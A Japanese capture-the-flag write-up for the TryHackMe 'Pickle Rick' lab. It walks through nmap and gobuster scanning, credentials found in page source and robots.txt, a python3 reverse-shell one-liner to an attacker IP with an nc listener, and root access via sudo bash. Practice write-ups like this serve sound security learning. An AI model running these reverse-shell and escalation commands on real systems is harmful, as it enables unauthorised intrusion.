TryHackMe

TryHackMe(THM): Pickle Rick -Writeup

TryHackMeは教育プラットフォームとして大変優れているとは思うのですが、教科書をなぞるみたいなのが続くと飽きるので、たまにはCTFっぽいのをやります。難易度低いので初心者の方にもおすすめ。

Rick and Mortyというアニメが元ネタになってるRoom攻略です。

このアニメ見たことないんだけど海外では有名なのかしら…。私はザ・シンプソンズが好きなので多分これも好きな気がする。今度見よう。

Task 1 Pickle Rick

What is the first ingredient Rick needs?

nmap

なにはともあれお約束のnmap

export IP=ターゲットマシンのIPアドレス
nmap -sV -sC -v -oN initial.nmap $IP

22番と80番があいてるのがわかる。とりあえずブラウザでhttpにアクセスする。

パスワードがわからないと言われる。知らんがな。

ソースを見てみる。ユーザー名がわかる

Username: R1ckRul3s

sshで接続できるか試す

だめだった。別の道を探す。

gobuster

gobusterで他に攻略のとっかかりになるディレクトリがないか探す

gobuster dir -u http://$IP -w /usr/share/dirb/wordlists/common.txt

assetsディレクトリをみたけどめぼしいものはなかった

robots.txtをひらくとなにやらあやしい呪文が

使いどころがわからないので辞書を変えてもう1回。

なんか時間がかかりすぎるのでhtmlとphpとtxtにしぼって探索

gobuster dir -u http://$IP -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt




portal.phpとlogin.phpを発見

アクセスしてみる。

Username: R1ckRul3s
Password: Wubbalubbadubdub

でログインできる。robots.txtの内容がパスワードだってどこでわかるの…?相当時間を無駄にしたんだけど(ぐったり

Command Panel

ログインするとコマンドパネルという画面がでてくる

lsコマンド実行

Sup3rS3cretPickl3Ingred.txt
があることがわかる

cat Sup3rS3cretPickl3Ingred.txt

を実行するとコマンド無効ですって言われる

less Sup3rS3cretPickl3Ingred.txt




Whats the second ingredient Rick needs?

base64

ソースを見ると意味深なbase64があった

Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==

しつこく何度も何度もデコードすると rabbit hole っていわれた。は?(半ギレ)

https://note.com/language_ai_/n/n68b56e2193ba

grep

引き続き使えるコマンドをさぐる

grep -R ''

同じディレクトリにある全てのファイルが出力される。
ソースをみると以下のコマンドが使えないことがわかる

"cat", "head", "more", "tail", "nano", "vim", "vi"

python

pythonが動くか調べる

python3 -c "print(1)"

python3だと動くらしいことがわかる

先人の知恵に頼る

スクリプトのIPアドレスのところを自分のアドレスに書き換える

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.20.231",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ncコマンドで待ち受ける

nc -nvlp 1234

書き換えたスクリプトを実行するとシェルがとれる。

find

フラグのファイルが見つからないので探す。

find / -name second* |grep "second*"

ファイル名に空白が入ってるので普通にcatで指定すると失敗する(””でくくってもよい)

cat *

2個めのフラグが判明する。

Whats the final ingredient Rick needs?

sudo

sudoできるコマンドを知りたかったので

sudo -l を実行。

まさかの全部だった。大サービス。

bash

sudo bash

でrootになれる。

コンソールになにも返事がなくて心配になるけど昇格してる。

あとはがんばってrootディレクトリを探して3rd.txtの中身をみる。

ミッションコンプリート!

別解

sudoとlsがつかえるので普通にWEBからフラグが見れる

the second ingredient

sudo ls ../../../*

みたいな感じでフラグのファイルを地道に探していくこともできる。

catが使えないので、みつけたらlessコマンドでファイルの中身を見る

sudo less "../../../home/rick/second ingredients"

the final ingredient

根気があればsecondと同様の手順で探すことができる。

sudo less ../../../root/3rd.txt

Try Harder!